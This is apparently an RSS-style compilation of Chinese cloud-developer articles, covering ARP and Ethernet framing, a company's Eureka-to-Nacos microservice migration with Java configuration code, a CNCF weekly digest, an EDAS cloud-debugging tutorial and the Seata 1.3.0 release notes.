      以太网源地址: 发送端的MAC地址。


      帧类型: 不同的帧类型有不同的格式和MTU值,不同的类型有不同的编号,这里ARP对应的编号是0x0806。


      硬件类型: 指链路层网络类型,1为以太网。


      协议类型: 指的是要转换的地址类型,0x0800为IP地址。比如将以太网地址转换为IP地址。


      操作类型: 有四种,分别是ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。


      源MAC地址: 表示发送端MAC地址。


      源IP地址: 表示发送端IP地址。


      目的以太网地址: 表示目标设备的MAC物理地址。


      目的IP地址: 表示目标设备的IP地址。


      当两台设备发送报文之前,源端的链路层会用ARP协议去询问目的端的MAC地址,ARP会将一个请求广播出去,以太网上的每一个主机都会收到这份广播,广播的目的是询问目标IP的MAC地址,内容主要是先介绍自己的IP和MAC地址,再询问如果你有目标IP,请回复你的硬件地址。如果一个主机收到广播后看到自己有这个IP,并且请求内有源IP和MAC地址,那么就会向源主机回应一个ARP应答。如果没有目标IP,就会丢弃这个请求。可以看出请求是向外广播的,而应答是单独回应的。


      但不能每次通信之前都去经历一次请求-应答过程,在成功地接收到应答之后,IP和MAC地址的映射关系就会缓存在ARP缓存表中,有效期一般为20分钟,便于网络层下次直接进行封装,所以,完整的过程应该是:


      IP层接收到TCP分组后,发送或者封装之前,通过查询路由表:

      • 当目标IP和自己在同一个网段时,先去ARP缓存表里找有没有目标IP对应的MAC地址,有的话交给链路层进行封装发送出去。如果缓存表内没有,进行广播,获得MAC地址后缓存起来,IP层再对TCP进行封装,然后交给链路层再封装发送出去。
      • 当目标IP和自己不在同一个网段,需要将报文发给默认的网关。如果ARP缓存表中有网关IP对应的MAC地址,那么交给链路层进行封装发送出去。如果没有,进行广播,获得地址后缓存起来,IP层再对TCP进行封装,然后交给链路层再封装发送出去。

      以太网数据帧


      上面所有东西都准备好了,封装发送的其实是以太网数据帧。以太网目的地址、以太网源地址、帧类型这三者组成了帧首部。在首部之前还会插入前同步码和帧开始定界符,告知接收端做一些准备工作。帧检验序列 FCS被添加进尾部,用来检测帧是否出错。

      前同步码: 协调终端接收适配器的时钟频率,让它与发送端频率相同。


      帧开始定界符: 帧开始的标志,表示帧信息要来了,准备接收。


      目的地址: 接收帧的网络适配器的MAC地址,接收端收到帧时,会首先检查目的地址与本机地址是否相符,不是的话就会丢弃。


      源地址: 发送端设备的MAC地址。


      类型: 决定接收到帧之后将数据交由那种协议处理。


      数据: 交给上层的数据。在本文的场景中指IP数据报。


      帧检验序列: 检测这一帧是否出错,发送方计算帧的循环冗余码校验(CRC)值,把这个值写到帧里。接收方计算机重新计算 CRC,与 FCS 字段的值进行比较。如果两个值不相同,则表示传输过程中发生了数据丢失或改变。这时,就需要重新传输这一帧。

      传输和接收

      **

      • 接收到上层传过来的数据报之后,根据MTU以及数据报大小来决定是否分割成小块,也就是IP数据报被分片的过程。
      • 把数据报(块)封装成一帧,传给底层组件,底层组件将帧转换为比特流,并发送出去。
      • 以太网上的设备接收到帧,检查帧里边的目标地址,如果与本机地址匹配,帧就会被处理,一层一层向上传递(分用过程)。


      结语


      以上,我们梳理了 IoT 设备将传感器采集数据,被端上应用程序封装成 MQTT 报文,通过网络协议一层层封装,再到云端接收系统一层层拆分的完整网络过程,希望对大家认识物联网相关 MQTT,TCP,IP,ARP 网络协议有所帮助。


      【往期回顾】
      1、39张IoT传感器工作原理GIF图汇总
      2、自建 MQTT 集群 迁移 阿里云IoT实践
      3、智能手持测温枪开发实践
      4、JMeter 压测 MQTT 服务性能实战
      5、IoT物联网平台日志服务详解
      6、工业 Modbus,电力104规约, 车联网JT808
      7、网关与子设备上云开发实战
      8、IoT中实现 M2M 设备之间联动

      ]]>
      掌门教育微服务体系 Solar | 阿里巴巴 Nacos 企业级落地上篇 Fri, 02 May 2025 09:39:04 +0800 头图.png

      联席作者:吴毅挺 任浩军 张彬彬 廖梦鸽 张金星 胡振建
      郑重鸣谢:Nacos - 彦林,Spring Cloud Alibab - 小马哥、落夜,Nacos 社区 - 张龙(pader)、春少(chuntaojun)

      前言

      在高速发展的时候,公司规模越来越大,老师人数越来越多,这时候公司不能铺太多人去做运营与服务,必须提高每个人效,这就需要技术驱动。因此掌门教育转变成一家技术驱动型的公司,如果被迫成为一家靠资金驱动的公司就活不下去了。
      -- 张翼(掌门教育创始人兼 CEO)

      掌门教育自 2014 年正式转型在线教育以来,秉承“让教育共享智能,让学习高效快乐”的宗旨和愿景,经历云计算、大数据、人工智能、 AR / VR / MR 以及现今最火的 5G ,一直坚持用科技赋能教育。掌门教育的业务近几年得到了快速发展,特别是今年的疫情,使在线教育成为了新的风口,也给掌门教育新的机遇。

      随着业务规模进一步扩大,流量进一步暴增,微服务数目进一步增长,使老的微服务体系所采用的注册中心 Eureka 不堪重负,同时 Spring Cloud 体系已经演进到第二代,第一代的 Eureka 注册中心已经不大适合现在的业务逻辑和规模,同时它目前被 Spring Cloud 官方置于维护模式,将不再向前发展。如何选择一个更为优秀和适用的注册中心,这个课题就摆在了掌门人的面前。经过对 Alibaba Nacos 、HashiCorp Consul 等开源注册中心做了深入的调研和比较,最终选定 Alibaba Nacos 做微服务体系 Solar 中的新注册中心。

      背景故事

      1. 掌门教育微服务面临的挑战

      1)第一次生产事故

      2020 年疫情爆发后的几个月后,掌门教育的微服务实例数比去年猛增 40% ,基础架构部乐观的认为注册中心 Eureka 服务器可以抗住该数量级的实例数规模, Eureka 服务器在阿里云 PROD 环境上执行三台 8C16G 普通型机器三角结构型对等部署,运行了好几年都一直很稳定,但灾难还是在2020年3月某天晚上降临,当天晚上大概 9 点 30 分左右,其中两台 Eureka 服务器无征兆的 CPU 占用迅速上升到100%,同时大量业务服务掉线,告警系统被触发,钉钉机器人告警和邮件告警铺天盖地而来。基础架构部和运维部紧急重启 Eureka 服务器,但没多久,CPU 依旧没抗住,而且更加来势凶猛,打开的文件描述符数瞬间达到 8000+ ,TCP 连接达到 1 万+ ,业务服务和 Eureka 服务器的通信产生大面积的 TCP CLOSE_WAIT 事件,且伴有大量 Broken pipe 异常。

      1.png

      2.png

      3.png

      org.apache.catalina.connector.ClientAbortException: java.io.IOException: Broken pipe

      运维人员尝试把机器升级成增强型 8C16G ,折腾一番后,于 23:00 左右恢复正常。

      4.png

      5.png

      2)第二次生产事故

      微服务实例数依旧在增长, Eureka 服务器平稳运行了大概半个月后,灾难又一次降临,CPU 再次飙升到100%,过程就不表述了。处理方式,把机器升级成增强型 16C32G,并把 Eureka 服务器的版本升级到 Spring Cloud Hoxton 版,并优化了它的一些配置参数,尔后事件再也没出现。

      2. 掌门教育新微服务演进思考

      虽然 Eureka 服务器目前运行平稳,但我们依旧担心此类事故在未来会再次发生,于是痛定思痛,经过深入的调研和比较一段时间后,通过由基础架构部牵头,各大业务线负责人和架构师参与的专项注册中心架构评审会上,CTO 拍板,做出决议:选择落地 Alibaba Nacos 作为掌门教育的新注册中心。

      Talk is cheap,show me the solution。基础架构部说干就干,Nacos 部署到 FAT 环境后,打头阵的是测试组的同学,对 Nacos 做全方位的功能和性能测试,毕竟 Nacos 是阿里巴巴拳头开源产品,迭代了2年多,在不少互联网型和传统型公司都已经落地,我们选择了稳定的 1.2.1 版本,得出结论是功能稳定,性能上佳,关于功能和性能方面的相关数据,具体参考:《掌门1对1微服务体系 Solar | 阿里巴巴 Nacos 企业级落地下篇》。

      6.png

      7.png

      但是,如何迁移 Eureka 上的业务服务到 Nacos 上?业务服务实例数目众多,迁移工作量巨大,需要全公司业务部门配合,同时 Eureka 对注册的业务服务名大小写不敏感,而 Nacos 对注册的业务服务名大小写敏感,那么对于业务服务名不规范的业务部门需要改造。而对于基础架构部来说, Nacos Eureka Sync 方案如同一座大山横亘在我们面前,是首先需要迈过去的坎,纵观整个过程,该方案选型还是折腾了一番,具体参考:《掌门1对1微服务体系 Solar | 阿里巴巴 Nacos 企业级落地中篇》。

      阿里巴巴 Nacos 企业级落地的优化代码,在不久的将来会通过开源的方式回馈给业界。

      官方介绍

      1. Nacos 简介

      阿里巴巴中间件部门开发的新一代集服务注册发现中心和配置中心为一体的中间件。它是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施,支持几乎所有主流类型的“服务”的发现、配置和管理,更敏捷和容易地构建、交付和管理微服务平台。

      • Nacos Landscape

      8.png

      • Nacos Map

      9.jpg

      摘自官网 What is Nacos:https://nacos.io/en-us/docs/what-is-nacos.html

      2. Spring Cloud Alibaba 简介

      阿里巴巴中间件部门开发的 Spring Cloud 增强套件,致力于提供微服务开发的一站式解决方案。此项目包含开发分布式应用微服务的必需组件,方便开发者通过 Spring Cloud 编程模型轻松使用这些组件来开发分布式应用服务。依托 Spring Cloud Alibaba ,您只需要添加一些注解和少量配置,就可以将 Spring Cloud 应用接入阿里微服务解决方案,通过阿里中间件来迅速搭建分布式应用系统。

      10.png

      摘自官网 Spring Cloud Alibaba Introduction:https://github.com/alibaba/spring-cloud-alibaba/blob/master/spring-cloud-alibaba-docs/src/main/asciidoc-zh/introduction.adoc

      关于 Nacos 和 Spring Cloud Alibaba 如何使用,它的技术实现原理怎样等,官方文档或者民间博客、公众号文章等可以提供非常详尽且有价值的材料,这些不在本文的讨论范围内,就不一一赘述。笔者尝试结合掌门教育现有的技术栈以及中间件一体化的战略,并着眼于强大的 Nacos 和 Spring Cloud Alibaba 技术生态圈展开阐释。

      Nacos 开发篇

      1. Nacos Server 落地

      1)Nacos Server

      • Nacos Server 环境和域名

      掌门的应用环境分为 4 套,DEV | FAT | UAT | PROD 分别对应开发、测试、准生产环境、生产环境,因此 Nacos Server 也分为 4 套独立环境。除了 DEV 环境是单机部署外,其他是集群方式部署。对外均以域名方式访问,包括 SDK 方式连接 Nacos Server 和访问 Nacos Server Dashboard 控制台页面。

      • Nacos Server 环境隔离和调用隔离

      Nacos Server 可以创建不同的命名空间,做到同一个应用环境的基础上更细粒度的划分,隔离服务注册和发现。在某些场景下,开发本地有需要连接测试环境的 Nacos Server ,但其他测试服务不能调用到开发本地,这时候可以将 NacosDiscoveryProperties 的 enabled 属性设置为 false 。

      • Nacos Server 集成 Ldap

      Nacos Server Dashboard 集成公司的 Ldap 服务,并在用户首次登录时记录用户信息。

      2)Nacos Server 界面

      • Nacos 界面权限

      Nacos Server Dashboard 用户首次登陆时,默认分配普通用户(即非 ROLE_ADMIN )角色,对查询以外的按钮均无操作权限,以免出现误操作导致服务非正常上下线。

      • Nacos 界面显示服务概览

      Nacos Server Dashboard 页面增加服务总数及实例总数的统计,该信息每 5 秒刷新一次。

      11.png

      3)Nacos 监控

      【Nacos Server 监控】

      • 标准监控

      基于公司现有的 Prometheus 、 Grafana 、 AlertManager 从系统层监控 Nacos。

      12.png

      • 高级监控

      根据 Nacos 监控手册,结合 Prometheus 和 Grafana 监控 Nacos 指标。

      13.png

      【Nacos Eureka Sync Etcd 监控】

      从如下界面可以监控到,业务服务列表是否在同步服务的集群上呈现一致性 Hash 均衡分布。

      14.png

      4)Nacos 日志

      • 日志合并及 JSON 格式化

      将 Nacos 多模块的日志统一按 info 、 warn、error 级别合并,定义 schema 字段标记不同模块,按 JSON 格式滚动输出到文件,供 ELK 采集展示。

      15.png

      5)Nacos 告警

      【Nacos Server 告警】

      • 业务服务上下线的告警

      16、17.jpg

      • Nacos Eureka Sync 告警

      18、19.jpg

      • 服务名大写告警

      20、21.jpg

      • 业务服务同步完毕告警

      22(1).jpg

      2. Nacos Client 落地

      1)Solar Nacos SDK 环境初始化

      应用接入 Solar Nacos SDK 在启动时需要初始化完成 Nacos Server 的连接配置,即 spring.cloud.nacos.discovery.server-addr 参数的赋值。不同环境下连接的 Nacos Server ,因此需要读取机器所在的 env 环境参数,来选择相对应的 Nacos Server 地址。

      初始化逻辑代码如下:

      public class NacosClientConfigApplicationContextInitializer implements ApplicationContextInitializer<ConfigurableApplicationContext>, Ordered {
          private static final Logger logger = LoggerFactory.getLogger(NacosClientConfigApplicationContextInitializer.class);
          @Override
          public void initialize(ConfigurableApplicationContext applicationContext) {
              try {
                  Properties props = new Properties();
                  String path = isOSWindows() ? CommonConstant.SERVER_PROPERTIES_WINDOWS : CommonConstant.SERVER_PROPERTIES_LINUX;
                  File file = new File(path);
                  if (file.exists() && file.canRead()) {
                      FileInputStream fis = new FileInputStream(file);
                      if (fis != null) {
                          try {
                              props.load(new InputStreamReader(fis, Charset.defaultCharset()));
                          } finally {
                              fis.close();
                          }
                      }
                  }
                  String env = System.getProperty("env");
                  if (!isBlank(env)) {
                      env = env.trim().toLowerCase();
                  } else {
                      env = System.getenv("ENV");
                      if (!isBlank(env)) {
                          env = env.trim().toLowerCase();
                      } else {
                          env = props.getProperty("env");
                          if (!isBlank(env)) {
                              env = env.trim();
                          } else {
                              env = NacosEnv.DEV.getCode();
                          }
                      }
                  }
                  String serverAddr = NacosEnv.getValueByCode(env);
                  Map<String, Object> nacosClientPropertySource = new HashMap<>();
                  nacosClientPropertySource.put(CommonConstant.NACOS_DISCOVERY_SERVER_ADDR, serverAddr);
                  applicationContext.getEnvironment().getPropertySources().addLast(new MapPropertySource("solarNacosClientPropertySource", nacosClientPropertySource));
              } catch (Exception e) {
                  logger.error(e.getMessage());
              }
          }
          @Override
          public int getOrder() {
              return Ordered.LOWEST_PRECEDENCE;
          }
          private boolean isOSWindows() {
              String osName = System.getProperty("os.name");
              return !isBlank(osName) && osName.startsWith("Windows");
          }
          private boolean isBlank(String str) {
              return Strings.nullToEmpty(str).trim().isEmpty();
          }
      }

      2)Solar Nacos 蓝绿灰度发布和子环境隔离

      在 Nacos 和 Eureka 双注册中心过渡状态下, Solar SDK 支持跨注册中心调用的蓝绿灰度发布和子环境功能。下面的图片,只以 Eureka 为例:

      23.png

      我们只需要把 Eureka SDK 换到 Nacos SDK 即可,实现如下功能:

      • Solar 蓝绿灰度发布

        • 版本匹配灰度发布
        • 版本权重灰度发布
      • Solar 多区域路由

        • 区域匹配灰度路由
        • 区域权重灰度路由
      • Solar 子环境隔离

        • 环境隔离
        • 环境路由
      • Solar 版本号和区域值,子环境号策略

        • DEV 环境,Git 插件自动创建灰度版本号
        • DevOps 环境设置

      Solar 蓝绿灰度发布架构图:

      24.png

      Solar 基于版本维度的蓝绿灰度发布架构图:

      25.png

      Solar 子环境隔离架构图:

      26.png

      更多功能参考:

      掌门 1 对 1 微服务体系 Solar 第 1 弹:全链路灰度蓝绿发布智能化实践,掌门教育已经实现通过灰度蓝绿发布方式,实现对流量的精确制导和调拨。

      Nepxion Discovery 开源社区:https://github.com/Nepxion/Discovery

      3)Solar Nacos 集成 Sentinel

      27.jpg

      4)Solar Nacos 集成灰度蓝绿埋点到 Skywalking

      28.png

      29.png

      5)Solar Nacos 集成 Sentinel 埋点到 Skywalking

      • 微服务上的 Sentinel 埋点

      30.jpg

      31.jpg

      • 网关上的 Sentinel 埋点

      32.jpg

      33.jpg

      6)Solar Nacos 集成 DevOps 发布平台

      • 集成携程 VI Cornerstone 实现服务拉入拉出

      Solar Nacos SDK 的服务,在应用发布时需要做服务的拉入拉出,目的是为了发布时流量无损。掌门使用 VI Cornerstone 实现拉入拉出功能。具体实现是在初始化 NacosDiscoveryProperties 对象时设置 instance.enabled 属性值为 false,在服务完全初始化后,通过发布系统调用 Solar Nacos SDK 的 API 接口再修改为 true 来被外部发现并提供服务。

      public class NacosApplicationContextInitializer implements EnvironmentPostProcessor {
          @Override
          public void postProcessEnvironment(ConfigurableEnvironment configurableEnvironment, SpringApplication springApplication) {
              Boolean bootstrapEnabled = configurableEnvironment.getProperty("devops.enabled", Boolean.class, false);
              if (bootstrapEnabled) {
                  Properties properties = new Properties();
                  properties.put("spring.cloud.nacos.discovery.instanceEnabled", "false");
                  PropertiesPropertySource propertiesPropertySource = new PropertiesPropertySource("devopsEnabledNacosDiscoveryProperties", properties);
                  MutablePropertySources mutablePropertySources = configurableEnvironment.getPropertySources();
                  mutablePropertySources.addFirst(propertiesPropertySource);
              }
          }
      }

      spring.factories 配置文件:

      org.springframework.boot.env.EnvironmentPostProcessor=
      com.ctrip.framework.cs.spring.NacosApplicationContextInitializer

      7)Solar Nacos SDK 接入

      【Solar 版本定义】

      • Solar 2.3.x & 1.3.x,基于 Nacos SDK
      • Solar 2.2.x & 1.2.x,基于 Eureka SDK

      【Solar 版本关系】

      • Solar 版本与 Spring Boot 技术栈的关系

      34.jpg

      • Solar 版本与注册中心的关系

      35.jpg

      【Solar SDK 接入】

      • 设置 Parent
      <parent>
          <groupId>com.zhangmen</groupId>
          <artifactId>solar-parent</artifactId>
          <version>${solar.version}</version>
      </parent>
      • 添加到 pom.xml

      只需引入一个 Jar 包,对接成本极低,只做基本组件封装,非常轻量级。

      微服务:

      <dependency>
          <groupId>com.zhangmen</groupId>
          <artifactId>solar-framework-starter-service</artifactId>
          <version>${solar.version}</version>
      </dependency>

      网关:

      <dependency>
          <groupId>com.zhangmen</groupId>
          <artifactId>solar-framework-starter-zuul</artifactId>
          <version>${solar.version}</version>
      </dependency>
      • 入口类添加注解

      @EnableSolarService , @EnableSolarZuul 封装了标准 Spring Boot / Spring Cloud / Apollo 等大量注解,降低业务的使用成本。

      微服务:

      @EnableSolarService
      public class DemoApplication {
          public static void main(String[] args) {
              new SpringApplicationBuilder(DemoApplication.class).run(args);
          }
      }

      网关:

      @EnableSolarZuul
      public class DemoApplication {
          public static void main(String[] args) {
              new SpringApplicationBuilder(DemoApplication.class).run(args);
          }
      }

      8)Solar Nacos SDK 和 Solar Eureka SDK 升级和回滚

      升级和回滚方案非常简单,此方式同时适用于网关和服务,见下图:

      36.png

      作者信息

      吴毅挺,掌门技术副总裁,负责技术中台和少儿技术团队。曾就职于百度、eBay 、携程,曾任携程高级研发总监,负责从零打造携程私有云、容器云、桌面云和 PaaS 平台。

      任浩军,掌门基础架构部负责人。曾就职于平安银行、万达、惠普,曾负责平安银行平台架构部 PaaS 平台 Halo 基础服务框架研发。10 多年开源经历,Github ID:@HaojunRen,Nepxion 开源社区创始人,Nacos Group Member,Spring Cloud Alibaba & Nacos & Sentinel & OpenTracing Committer。

      参与 Nacos 落地的基础架构部成员,包括:童子龙,张彬彬,廖梦鸽,张金星,胡振建,谢璐,谢庆芳,伊安娜

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      CNCF 新增两个孵化项目 | 云原生生态周报 Vol. 58 Fri, 02 May 2025 09:39:04 +0800 7.24次条.png

      作者 | 丁海洋、孙健波

      业界要闻

      1. SUSE 计划收购 Rancher Labs

      SUSE 计划收购 RANCHER LABS,旨在成为企业 Kubernetes 管理市场的领导者。

      1. CNCF 计划发布新的与 K8s 安全相关的认证项目

      该项目为 CKS(Certified Kubernetes Security Specialist),暂且翻译为“认证 K8s 安全专家”。

      1. Operator Frameworks 进入 CNCF 孵化项目

      Operator Frameworks 被 CNCF TOC 认可,成为新的孵化项目,包括 Operator SDK 和 Operator Lifecycle Manager 两部分。

      1. Contour 进入 CNCF 孵化项目

      这是一个高性能的 ingress controller,为 Envoy 提供控制面。

      1. 两个 CVE 漏洞:

      上游重要进展

      1. Service Account Token for CSI Driver

      主要是提出了一种为 CSI 通过挂载 volume 获取的 service account 的一种方式。

      开源项目推荐

      1. K8Spin

      在 K8s 上构建多租能力的项目,现在已经开源。

      本周阅读推荐

      1. 《Spark on K8s 的最佳实践和需要注意的坑》

      近年来,K8s 在业界越来越流行,由于其有很多优点,很多企业将应用部署到 K8s 中,Spark 从 2.3 版本开始支持使用 K8s 作为资源管理器。本文介绍了在 K8s 上运行 Spark 作业的最佳实践和需要注意的坑。

      1. 《Diving Into Istio 1.6 Certificate Rotation》

      本文分析了 Istio 1.6 中的证书轮转。

      1. 《Presslabs is the First Managed WordPress Hosting Platform running on Kubernetes》

      第一个运行在 K8s 上的 Managed WordPress Hosting Platfor。

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      3. 懂了这些,方敢在简历上说会用Jackson写JSON Fri, 02 May 2025 09:39:04 +0800

      你必须非常努力,才能看起来毫不费力。本文已被 https://www.yourbatman.cn 收录,里面一并有Spring技术栈、MyBatis、JVM、中间件等小而美的专栏供以免费学习。关注公众号【BAT的乌托邦】逐个击破,深入掌握,拒绝浅尝辄止。

      前言

      各位好,我是A哥(YourBatman)。上篇文章:2. 妈呀,Jackson原来是这样写JSON的 知道了Jackson写JSON的姿势,切实感受了一把ObjectMapper原来是这样完成序列化的...本文继续深入讨论JsonGenerator写JSON的细节。

      先闲聊几句题外话哈。我们在书写简历的时候,都会用一定篇幅展示自己的技能点(亮点),就像这样:

      这一part非常重要,它决定了面试官是否有跟你聊的兴趣,决定了你是否能在浩如烟海的简历中够脱颖而出。如何做到差异性?在当下如此发达的信息社会里,信息的获取唾手可得,所以在知识的广度方面,我认为人与人之间的差异其实并不大:

      你知道DDD领域驱动、读过架构整洁之道、知道六边形架构、知道DevOps......难道你还在想凭一些概念卖钱?拉出差距?
      你在用Spring技术栈、在用Redis、在用ElasticSearch......难道你还以为现在像10年前一样,会用就能加分?

      一聊就会,一问就退,一写就废。这是很多公司程序员的真实写照,基/中层管理者尤甚。早早的和技术渐行渐远,导致裁员潮到来时很容易获得一张“飞机票”,年纪越大,焦虑感越强。

      在你的公司是否有过这种场景:四五个人指挥一个人干活。对,就像这样:


      扎不扎心,老铁]]> SpringCloud 应用在 Kubernetes 上的最佳实践 —— 诊断(线上联调) Fri, 02 May 2025 09:39:04 +0800 前言

      当云上的应用行为不符合预期的时候,您会怎么处理呢?修改代码,打包,部署,然后查看日志?或者开远程调试端口远程调试?

      这些步骤都比较繁琐。现在EDAS提供了端云联调的工具,让您在本地就可以启动应用并且能跟云端服务联调。只需三个步骤,您就可以在本地获得跟云端服务联调的能力,下面我们一起来体验吧!

      打开调试开关

      默认情况下,EDAS端云联调功能是关闭的,只有打开命名空间中的调试开关后,本地服务才能跟云端联调。您可以只对开发环境的命名空间开启端云联调,而对其他环境保持关闭,这样既方便本地开发,也保证其他环境服务稳定。

      EDAS命名空间的默认关闭状态如下所示,打开开关即可启用此功能:
      1.jpeg

      准备可远程访问的节点

      EDAS 端云联调只需一个可远程 SSH 的Kubernetes集群节点即可,如果您已具备这样的节点可跳过此节,否则可参考如下步骤来进行配置。

      在 Kubernetes 集群内任意选择一个机器节点,进入 ECS 实例详情,绑定一个弹性公网 IP:
      2.png

      绑定弹性公网IP后,需要设置实例安全组规则以放通 SSH 端口的流量。进入实例安全组,设置入方向规则允许访问 SSH 的22端口:
      3.png

      上图中的授权对象0.0.0.0/0表示22端口对公网开放,您可以根据本地网络的公网出口IP来设置授权对象,只允许您所在的网络访问实例的22端口,进一步提升安全系数。

      最后,设置实例登录密码并重启即可完成 SSH 配置:
      4.png

      配置插件

      现在我们来配置 IDE 插件来启用端云联调。此功能支持 Intellij IDEA 和 Eclipse 两种 IDE ,配置流程相同,下面以 Intellij IDEA 来说明配置参数。

      打开 IDE 配置页面,选择 Alibaba Cloud Toolkit -> EDAS 页面,勾选 Join EDAS Registry 选项,如下所示:
      5.png

      参数说明如下:

      • Region:您的Kubernetes集群及服务所在区域。
      • Namespace:EDAS命名空间。如未看到所需的命名空间,请参考上面的《打开调试开关》小节打开端云联调功能。
      • Gateway Host:可远程 SSH 的节点,请参考上面的《准备可远程访问的节点》小节来配置。
      • Username:可远程 SSH 的账号名。这里可填入一个不存在的账号,插件会进行检测,如不存在则进行创建。
      • Password:可远程 SSH 的账号密码。如果账号不存在,则插件使用此密码来创建账号。
      • Server Port:您的Spring Cloud 项目服务端口。

      填入以上信息后,点击页面上的 Add SSH Rule 按钮进行配置,插件会提示授予 root 权限来进行代理配置:
      6.png

      授予 root 权限,点击 Add 完成配置。至此,您已完成全部的配置流程,团队成员可直接复用上述配置的 SSH 的节点、账号和密码,无需重新配置。

      启动应用进行联调

      现在我们跟平常一样启动本地应用,IDE 会提示当前处于端云联调状态:
      7.png

      在此状态下,本地服务能正常调用云端服务,云端服务也能调用本地服务。另外,您也可以使用 IDE 的调试模式来启动本地应用,端云联调同样生效。

      结语及后续

      在本篇中,我们介绍了EDAS端云联调工具,借助此工具本地服务能跟云端服务进行联调。端云联调对于可重现的问题来说是一个非常高效的解决方案,但不适用于如下问题:

      1、已发生的问题;
      2、不能稳定重现的问题;

      对于这样的问题,我们有更好用的解决方案:APM监控。通过APM监控,您可以方便的查看分析系统异常、服务异常、接口异常等各种异常信息,下一讲我们将详细介绍《APM监控》,欢迎订阅。

      ]]>
      Seata 1.3.0 发布 Fri, 02 May 2025 09:39:04 +0800 1.3.0 版本支持了像多主键,自动升降级等大量feature,性能得到大幅度提升,修复了旧版本的大量bug。

      此版本更新如下:

      feature:

      • [#2398] 支持 MySQL 多主键
      • [#2484] 支持 Redis 存储模式
      • [#2817] Saga 流程设计器 Groovy Script Task
      • [#2646] Server 支持 HikariCP 数据源
      • [#2253] 支持根据连续错误数动态升降级
      • [#2565] 支持事务注解类标注
      • [#2510] 协议新增 LZ4 压缩支持
      • [#2622] Server 支持版本检查
      • [#2658] 支持 Oracle 同一实例下不同用户的事务
      • [#2620] 支持使用 Nacos 注册中心配置 group 属性
      • [#2699] 支持 ACM 配置中心
      • [#2509] 支持 update 操作回滚所有数据列和更新列
      • [#2584] StateHandlerInterceptor 和 StateRouterInterceptor 支持 SPI
      • [#2808] Server 鉴权支持 SPI
      • [#2616] TCC 模式支持 Dubbo 和 Sofa-RPC 注解调用
      • [#2831] Saga 模式支持 jackson parser
      • [#2554] 增加 zookeeper 序列化支持
      • [#2708] 支持 array, datalink 等 JDBC 类型
      • [#2412] xid 生成支持雪花算法
      • [#2611] 支持配置缓存,去除配置中心强依赖

      bugfix:

      • [#2893] 修复 postgresql 表名中含 schema 取 tableMeta 错误的问题
      • [#2887] 修复 RM 接收 response 的逻辑
      • [#2610] Nacos 配置同步脚本加入Nacos权限属性控制
      • [#2588] 修复check style不通过时,无详细信息报出的问题
      • [#2543] 修复 ShutdownHook signal 无效问题
      • [#2598] 修复无法注册到 Nacos 的问题
      • [#2618] 修复 zookeeper 无法创建目录的问题
      • [#2628] 修复 delete 操作时表名加别名找不到表名问题
      • [#2639] 修复 Apollo 配置中心由于属性大小写导致的无法加载问题
      • [#2629] 修复 PostgreSQL 相同实例不同 currentSchema 导致的 resourceId 重复问题
      • [#2659] 修复 MySQL 使用 last_insert_id 获取到 undo_log id 问题
      • [#2670] 修复 Server dataSource 初始化多次的问题
      • [#2617] 修复类和方法上注解获取不正确的问题
      • [#2603] 修复无法获取 generated keys value 的问题
      • [#2725] 修复 insert 操作时主键前含有其他表达式导致的索引位置不正确的问题
      • [#2698] 修复嵌套 GlobalLock 被提前解绑的问题
      • [#2755] 修复 TCC 模式 branchCommit 和 branchRollback 抛出异常无返回值的问题
      • [#2777] 修复 rollback 重试次数设置为 0 无法回滚的问题
      • [#2812] 修复使用 shardingSphere & Seata 获取 PostgreSQL tableMeta错误的问题
      • [#2760] 修复回滚失败 failureHandler 无法抛出失败异常的问题
      • [#2837] 修复 SubStateMachineHandler 中错误的常量引用
      • [#2839] 修复 Saga 模式补偿成功业务异常丢失的问题
      • [#2650] 修复 TCC 和 Saga 模式在 AbstractConnectionProxy解析SQL的问题
      • [#2850] 修复 Saga 流程设计器导致浏览器崩溃的问题
      • [#2868] 修复找不到 AsyncEventBus 依赖的问题
      • [#2871] 修复获取 'schame'.'table' 类型 tableMeta 错误的问题
      • [#2685] 修复 Oracle insert 操作使用 sysdate 报错的问题.
      • [#2872] 修复 undo sql 中主键缺失转义符的问题
      • [#2875] 修复 ColumnUtils delEscape删除表名带 schema 转义符错误的问题.

      optimize:

      • [#2573] 在随机负载均衡中使用 ThreadLocalRandom 代替 Random
      • [#2540] 重构 RPC 处理方法名和接口
      • [#2642] 优化 SofaRegistryServiceImpl 线程不安全的 double check
      • [#2561] 获取 tableMeta 逻辑统一
      • [#2591] 支持 zookeeper sessionTimeout和 connectTimeout 默认值
      • [#2601] 优化 spring-boot-starter 包结构
      • [#2415] 按照分支事务类型决定数据库操作行为
      • [#2647] 移除无用的变量
      • [#2649] 优化获取 tableMeta 的逻辑
      • [#2652] 支持 consul 自定义服务端口
      • [#2660] 优化 IdWorker 包路径
      • [#2625] Mockito.verify 代替 Mockito.doAnswer
      • [#2666] 补充使用用户 logo
      • [#2680] 优化 GlobalTransactionalInterceptor 为单例
      • [#2683] 优化 TccActionInterceptor 的日志打印
      • [#2477] 重构 RPC 客户端请求处理
      • [#2280] 重构 InsertExecutor
      • [#2044] 优化 ColumnUtils.addEscape
      • [#2730] 优化 配置中心类型校验
      • [#2723] 优化 postgreSql 获取 tableMeta 的处理逻辑
      • [#2734] 优化 postgreSql 依赖的 scope
      • [#2749] 优化 logger class 错误问题
      • [#2751] 拷贝 jdbc driver 到 docker 镜像
      • [#2759] 优化线程池线程命名风格
      • [#2607] insert 操作检查 pk 表达式支持
      • [#2765] 优化 XA 对不支持的 resource 的逻辑处理
      • [#2771] 禁用不稳定的单元测试
      • [#2779] 方法变量 ConcurrentHashMap 替换为 HashMap
      • [#2486] 重构 RPC server 端的处理逻辑
      • [#2770] TCC confirm 和 cancel 支持 void 返回值
      • [#2788] 优化 server 日志格式和样式
      • [#2816] 优化实例的创建逻辑
      • [#2787] 优化雪花算法中的 workId
      • [#2776] 优化字符串拼接
      • [#2799] 优化操作符
      • [#2829] 升降级检查去除加锁和异步化
      • [#2842] 优化 sql 格式
      • [#2242] 优化 PreparedStatementProxy 初始化逻辑
      • [#2613] 优化 DTO 和 typo

      非常感谢以下 contributors 的代码贡献。若有无意遗漏,请报告。

